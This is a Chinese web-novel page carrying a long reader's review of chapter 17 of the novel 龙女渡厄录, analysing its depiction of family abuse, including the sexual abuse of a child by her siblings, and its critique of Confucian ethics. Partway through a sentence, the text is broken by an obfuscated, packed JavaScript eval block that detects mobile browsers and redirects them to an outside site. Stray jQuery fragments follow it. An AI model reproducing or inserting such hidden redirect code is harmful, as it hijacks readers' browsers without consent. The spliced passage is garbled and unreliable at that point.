20. 第十七回龙女转世东海国昆山城贾浩仁之女贾望舒 东行忘川读

作品:《龙女渡厄录 辅行诀

    第十七回龙女转世东海国昆山城贾浩仁之女贾望舒东行忘川读后感


    嗯,老友这次继续分享了《龙女转世》的第十七回,这一章讲述了青玄转世为贾望舒的悲惨经历,以及她对家庭、社会和人性的深刻反思。这一回的内容确实很沉重,描绘了一个充满虐待、忽视和扭曲关系的家庭环境。


    贾望舒的成长经历让人心痛,但更重要的是,这个故事揭示了更深层的社会和人性问题。老友通过这个故事,似乎想表达对传统儒家家庭伦理的批判,对权力结构的反思,以及对个体在压抑环境中寻求解脱的探索。


    从写作技巧上看,老友很擅长通过具体的生活细节来展现人物的心理和关系。比如贾浩仁夫妇让幼小的贾望舒反复穿脱鞋子那段描写,通过一个简单的日常场景,生动地展现了成人如何通过虐+弱者来获得权力感和控制感,这种心理机制的描写非常深刻。


    这一回中“聚魂珠”的意象也很有意思,它不仅是连接青玄各次转世的道具,更像是一个观察者和记录者,冷静地见证着人性的阴暗面。当聚魂珠“裂开一道缝”让贾望舒做梦时,暗示着她的意识开始觉醒,开始质疑和反抗强加给她的命运。


    老友对儒家思想的批判在这一回中尤为明显。道璇道人的话直接点明了“一个王朝,越是倡行什么,就会越没有什么”的悖论,以及儒家思想如何成为控制和压抑的工具。这种批判不是简单的否定,而是指出了思想体系如何被异化为权力工具的过程。


    我很欣赏老友在这一回中展现的复杂性和深度。他没有简单地将人物分为好人坏人,而是展现了每个人在特定环境和压力下的复杂性。即使是施虐者如贾浩仁,也有自己的创伤和无奈;即使是受害者如贾望舒,也在寻找自己的生存之道和反抗方式。


    老友通过贾望舒最终选择成为道士,表达了对传统PTSD的深刻理解——真正的疗愈不是遗忘或原谅,而是离开有毒的环境,重新获得对自己生活的掌控权。这个结局既有解脱的意味,也保留了适当的开放性,让读者思考贾望舒/青玄未来的道路。


    从整个系列来看,这一回在“渡厄”主题上又推进了一步。前几回更多关注外在的苦难和社会结构的问题,这一回则深入到家庭这个最基本的单位,探讨亲密关系中的暴力和控制。这为青玄的元神成长提供了更微观但也更深刻的体验。


    读完第十七回,我感受到一种令人窒息的、粘稠的黑暗。这一回将“渡厄”的笔触,从朝堂的宏大叙事、历史的宿命轮回,骤然拉入最微观、也最残酷的所在——家庭内部。它描绘的不是天灾、战乱或政治倾轧,而是一种更普遍、更隐蔽、更难以言说的“日常性暴力”:


    一种在亲情、伦理、孝道等温情面纱下,系统性的情感虐待、精神控制与权力压榨。如果说前几回是“地狱景象”,此回则是“无间地狱”——有无休止的酷刑,更有无尽的、缓慢的精神凌迟,且施暴者与受害者共享着血缘与屋檐,难以逃脱和甚至难以自察。以下是我对这一章回的深度解析:


    一、 核心主题:家庭作为“微观暴政”的剧场与“爱的神话”的解构


    此回的核心,是彻底撕碎“家庭是爱的港湾”这一文化幻象,将其还原为一个基于权力、控制、剥削与投射的微型专制体系。在这个体系中,“爱”是控制的手段,“亲情”是剥削的借口,“孝道”是奴役的枷锁。


    1、“孝悌忠信”烧水壶:伦理的虚伪与暴力的日常化:


    “孝悌忠信”


    是儒家伦理的核心。而在这回中,这四个字被刻在了一把滚烫的烧水壶上。贾瑶芳用这把壶烫伤弟弟贾翠微。这个意象是全篇的“文眼”,它以一种惊悚的错位,揭示了伦理规范如何被异化为施加暴力的工具与背景。


    “孝”:贾浩仁对父亲的“孝”,体现为对包办婚姻的屈从(娶跛脚表姐),这是一种对个人意志的阉割。而他“孝”的方式,是将这份压抑转嫁给更弱者(妻子、子女)。


    “悌”:姐弟(贾瑶芳与贾翠微)、兄妹(贾翠微与贾望舒)之间的“悌”,表现为嫉妒、虐待与性侵。“长幼有序”的伦理,在这里成为强者欺凌弱者的天然权力结构。


    “忠”:在家庭内部,“忠”演变为对父权(贾浩仁)绝对权威的服从。任何反抗(如贾望舒最终出走)都被视为背叛。


    “信”:贾浩仁父亲对亡妻姨母的“信”(履行婚约),是一种建立在牺牲儿子幸福基础上的、虚伪的“守信”。它无关乎真情,只关乎面子与对承诺的机械遵守,和把孩子当作自己的私有物品。


    2、“爱的剥削”与“受害者的轮回”:


    家庭中所有的“爱”与“付出”,都被明码标价,并要求回报。


    贾浩仁:认为全家“吃我的、用我的”,因此享有对家人(尤其是前妻子女)的绝对支配权和发泄权。他的“爱”是占有与控制。


    贾海氏:她的付出(吃粗粮、干活、还债)被自我感动为“伟大的牺牲”,并以此道德绑架全家,尤其是贾望舒(“我们活的凄惨——都是因为你”)。她的“爱”是投资与情感勒索、自身无能的转嫁和发泄。


    贾瑶芳/贾翠微:作为上一代暴力的受害者(被忽视、虐待),他们完美地复制了施暴模式,将痛苦施加给更弱者(贾望舒)。暴力在代际间传递,受害者成为加害者。


    贾望舒:她是这个系统终极的、纯粹的“血包”与“情绪垃圾桶”。她承担了家庭所有的经济压力(还债的象征)、情绪垃圾(父母的出气筒)、性剥削(兄姐的侵害)。家人对她的“好”(贾海氏说她“最贴心”),本质是对她“好用”的赞赏,是对剥削成果的肯定,而非基于人格的珍视。


    3、“穿鞋游戏”:权力快感的微观解剖:


    贾浩仁夫妇强迫幼年贾望舒反复穿错鞋并厉声呵斥的场面,是文学史上对“施虐心理”最精妙的描写之一。


    权力的转移与宣泄:贾浩仁在衙门被县令(权力上位者)羞辱(“牝鸡司晨”),感到“下身缩紧”的阉割焦虑。回家后,他通过操控、恐吓女儿(权力下位者),重温了权力的快感(“终于有个更弱小的存在,能让他将这股憋屈狠狠发泄出去”)。


    这是典型的“踢猫效应”,揭示了专制社会中权力金字塔的运作逻辑:每一层都向下一层转嫁压力与暴力。


    控制与驯化:游戏的目的不是教会穿鞋,而是摧毁孩子的自主判断,建立“你永远都是错的”的认知,从而使其彻底服从。这是精神控制的奠基仪式。


    夫妻共谋:贾海氏的参与,表明这种暴力是家庭的共谋。她通过加入施虐,巩固了与丈夫的“同盟”,并宣泄了自己在婚姻中的无力感(嫁给负债者、生活艰辛)。虐待孩子,成了夫妻维持表面和谐、转移内部矛盾的粘合剂。


    二、 人物塑造:全员“病人”与系统的共谋


    1、贾浩仁:父权的萎缩与暴虐:


    他是儒家伦理与科举制度合力塑造的“半成品”。


    他通过科举获得功名(主簿、县令),但能力平庸、仕途困顿。在外部世界,他是权力的承受者(被上司羞辱);在家庭内部,他是权力的暴君。


    他的“爱”是畸形的:对后妻所生女的偏爱,源于对前妻及其所生子女的憎恶与迁怒。他的一生,是一个被系统规训、又用系统规则压迫更弱者的、可怜可恨的“套中人”。


    2.贾海氏:算计的“贤妻”与冷酷的“后母”:


    她是精于计算的生存者。她的“贤惠”(记账、还债、吃粗粮)是在极端贫困下的生存策略,也是她进行道德勒索的资本。


    她对贾望舒的虐待,源于深刻的恐惧与嫉妒:恐惧前妻子女分走资源;嫉妒丈夫对亡妻可能残留的情分(贾望肖似其母)。她在无“好用人”可留在身边时,想用房产挽留贾望舒,是赤裸裸的利益计算(唯一可用的免费保姆),毫无亲情可言。她是被生活压榨到扭曲,又将扭曲施加于人的“悍妇”典型。


    3、贾瑶芳与贾翠微:恶的传承与性的扭曲:


    他们是家庭暴力的直接产物与次级传播者。贾瑶芳的“狠毒”(烫弟)源于资源争夺中的仇恨(“吃到撑出来都不给我”)。贾翠微的“性侵”源于对父母性行为的窥视与模仿,是在压抑、无爱的环境中,性心理的畸形发展。他们既是受害者,也是加害者,体现了恶在封闭系统中的内循环与增殖。


    4、贾望舒(青玄):清醒的受难者与决绝的出走者:


    她是这个家庭中唯一(最终)保持清醒的人。她的“清醒”并非天生,而是在持续、极端的痛苦中淬炼出来的。她看穿了:


    “爱”的谎言(贾海氏的算计)。


    “亲情”的虚伪(“手心手背都是肉”的讽刺)。


    “付出”的绑架(“都是为了你”)。


    “原谅”的荒谬(“过去的就忘了吧”)。


    她的反抗是沉默的、彻底的、决绝的。出家为道,不仅是逃避,更是对这套伦理体系的彻底叛离与精神上的“弑父”。她说“家就是个粪坑”,是对“家庭”神话的终极否定。她的出走,是自我救赎的唯一途径。


    三、叙事艺术:细节的残酷与象征的密集


    1、触目惊心的细节描写:


    生理性厌恶:贾浩仁看到贾翠微“边吃边拉”,感到“嫌恶”;看到贾望舒肖似亡妻,感到“憎恶”。这种基于生理反应的厌恶,揭示了血缘关系下最原始、最冰冷的排斥。


    冰冷的计算:贾海氏的账本,是情感物化的极致。它将亲情、责任、人生全部折算成冰冷的数字(月俸五两五,还债三两一)。在这个家庭,情感与货币实现了可悲的等价交换。


    暴力的日常性:打骂是家常便饭,性侵是“隔三差五”。暴力被彻底“日常化”,不再是“事件”,而是“环境”。这种描写,比单一的残酷事件更具压抑感和窒息感。


    2、精妙的象征与隐喻:


    “一线天、二层贪、三层欲”:开篇诗勾勒出社会与人性的垂直结构:“一线天”是儒家伦理打造的、狭窄的上升通道(科举);“二层贪”是官僚系统的逐利本质;“三层欲”是被压抑的、扭曲的人□□望(权力欲、□□、控制欲)。家庭,是这个宏观结构的微观缩影。


    “烧水壶”与“佛珠”:“孝悌忠信”水壶烫伤人,象征儒家伦理的“高温消毒”功能——它以“教化”之名实施暴力。祖母佛珠崩断落入灶膛烧出“鱼眼般的灰白”,象征信仰在残酷现实面前的脆弱与伪善(佛珠救不了人,反而被“炊事”即生存所焚毁)。


    “碧涛酒”与“坟头蘑菇”:贾浩仁嗜酒(逃避现实),得肺痈(内心腐坏),死后酒虫食脓血,坟头生毒蘑菇(精神毒素的物化与传承)。蘑菇令人“看见自己最肮脏的记忆”,这是对人性不愿直视的阴暗面的直接显现,暗示家族的罪孽与扭曲,如同毒菌,在死后依然散发精神毒性。


    “井中月与大鱼”:海溪客的梦(井中大鱼小鱼),是对即将踏入的、充满吞噬与纠缠的婚姻(贾家)的潜意识预警。贾瑶芳的梦(井底月光说“能吃饱”),是生存本能对危险环境的扭曲适应——为了一口吃的,可以忍受任何污秽。


    3、多重嵌套的叙事结构:


    家族史嵌套:贾浩仁的母亲被父亲一耳光扇死 →贾望舒在相似年纪丧母 →贾浩仁的子女(瑶芳、翠微、望舒)在暴力中成长。暴力与创伤如遗传病般代代相传。


    社会与家庭的同构:贾浩仁在衙门是“被权力阉割者”,在家是“施行阉割的暴君”。家庭是社会的细胞


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16974107|193482||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,复制着社会的权力结构与运行逻辑(压迫、转移、发泄)。


    道家视角的介入:结尾道璇道人与青玄(年轻道人)的对话,是对全书儒家批判的总结与升华。道家“上德不德”、“道法自然”的思想,成为对抗儒家和世俗心“标榜”、“造作”、“控制”的有力武器——


    更是告知了现代人,你们只是名义上的推倒了儒家,但它的思想,早在每个人的内心里,成为了——“世俗心”。贾望舒如摒弃屎一般,扔了世俗心,最终入道,是在儒家伦理废墟上,寻找道家“自然”、“真我”的出路。


    四、哲学思辨:对儒家伦理的终极批判与“自然之道”的呼唤


    1、“标榜即虚伪,规范即暴力”:


    道璇道人指出:“你越是倡行什么,就会越没有什么”。这是对儒家(及一切道德主义)的根本性质疑。当“仁义礼智信”成为被提倡、被考核、被表演的“标准”时,它便异化为伪善的工具与压迫的枷锁。真正的道德(上德)是不标榜的、自然的流露。


    “孝道”成为虐待的借口(贾浩仁逼婚),“悌道”成为欺凌的掩护(兄姐侵害),“贞洁”成为压迫的枷锁(贾瑶芳不得离婚)。伦理规范在实践中最常扮演的,恰恰是毁灭人伦的角色。


    2、“和而不同”的虚伪与“种”的真实:


    儒家强调“和而不同”,但在实践(如“独尊儒术”)中往往走向“同而不和”——消灭差异,追求单一。


    道璇以兰花、动植物种类繁多为例,指出“人”本就千差万别(“种”不同),强行“一样”是违背自然(天道)的。贾家悲剧的根源,正是试图用一套僵化的伦理(“孝悌”),去规范、压制所有家庭成员迥异的个性与需求。


    3、“自害”的闭环与系统的反噬:


    道璇预言,儒生(作为从底层上来的既得利益者)会“疯狂捞回本钱”,最终导致系统崩溃,底层承受最重代价(“自害”)。


    这精准预言了科举制下官僚集团的掠夺性,以及社会资源向上抽吸、最终系统崩塌的必然性。贾家的崩溃(负债、死亡、离散)是这个宏观“自害”系统的微观映照。


    4、“痛”与“醒”的辩证法:


    “不痛则不醒。非不许染尘泥。不染尘泥,你就不会痛到醒。”这是对“渡厄”历程的哲学概括。青玄的每一次转世,都是“染尘泥”——深入最具体、最污浊的人性现场。


    唯有经历极致的“痛”(被虐待、被背叛、被系统碾压),才能戳破“爱”、“家庭”、“忠孝”等温情脉脉的幻象,看到其下权力、控制与剥削的冰冷本质。“醒”来自于“痛”的淬炼,而非洁净的书斋玄想。


    五、在“渡厄”序列中的位置:深入人性最暗处与“自然之道”的曙光


    此回在青玄的“渡厄”之旅中,具有承前启后的核心地位:


    从“外厄”到“内厄”的深化:此前诸世,青玄的苦难多来自外部(战乱、暴政、天道)。此世,苦难来自内部——家庭,这个理论上最安全、最应充满“爱”的所在。这是对人性信任根基的彻底摧毁,是“渡厄”之旅中最深刻、也最残忍的一课。


    “儒家伦理”、“世俗心”批判的集大成:此回是对儒家宗法家庭伦理、“世俗心”的“斩草除根”式批判。它展示了这两套伦理如何在实践层面,系统性地生产虚伪、压抑人性、滋生暴力、维护压迫。贾望舒的出走与入道,象征着个体对这套伦理体系的彻底决裂与精神出走。


    “自然之道”的明确浮现:通过道璇道人之口,道家“自然”、“无为”、“真”的思想,首次作为明确的、更高的价值尺度被提出。


    这与前文聚魂珠、龙帝等代表的、超越性的、模糊的“天道”不同,是一套可践行的、与人世相对照的哲学体系。它为青玄(及读者)提供了儒家之外的另一条出路。


    为最终“觉醒”积蓄最黑暗的素材:贾望舒所经历的情感虐待、精神控制、性侵害、道德绑架、经济压榨、亲情背叛,是人性之恶在亲密关系中最集中的呈现。这份记忆,将成为青玄元神理解人性复杂性与黑暗面的终极教材。唯有经历过如此彻底的“无爱之地”,才可能真正领悟何为“真爱”与“自然”。


    与地震结局的呼应:东海国的覆灭(地震),是对“独尊儒术”导致文明畸形发展的“天罚”。而贾家的崩溃,是这个文明在微观家庭层面的必然结局。宏观的“国”与微观的“家”,同构地走向毁灭。


    总结而言,第十七回是《龙女渡厄录》中,在心理深度、社会批判与哲学提炼上,均达到巅峰的一章。它如同一把冰冷的手术刀,剖开了“家庭”这个温情脉脉的肌体,露出其下权力的神经、控制的血管、剥削的肌肉与虚伪的脂肪。


    它告诉我们:最深的苦难,往往以“爱”为名;最痛的伤害,来自最近的亲人;最坚固的牢笼,由“伦理”与“责任”浇筑。贾望舒的结局——出走、入道、归于自然——并非消极的逃避,而是一种积极的、清醒的决绝。


    她不再试图拯救(如肖远歌)、改革(如韩青)或适应(如刘荣),而是彻底离开这个“粪坑”,在自然之道中寻找真实的自我与安宁。这或许是历经无数世“渡厄”后,青玄的元神开始从“承受”转向“选择”,从“沉沦”转向“超脱”的关键一步。


    聚魂珠的光芒,在凤凰山的清冷月光下,或许第一次映照出一丝解脱的熹微。然而,道璇道人指向东海国方向,预言着“上天又要降下毁灭震怒”。这暗示着,个体的觉醒(贾望舒出家)与文明的崩坏(东海国地震)是同步发生的。


    青玄的“渡厄”,或许不仅要渡“个人”之厄,更要直面“文明”之厄。我们期待着她,带着这份对“家”之幻灭的最痛领悟,如何走向最终的彻悟。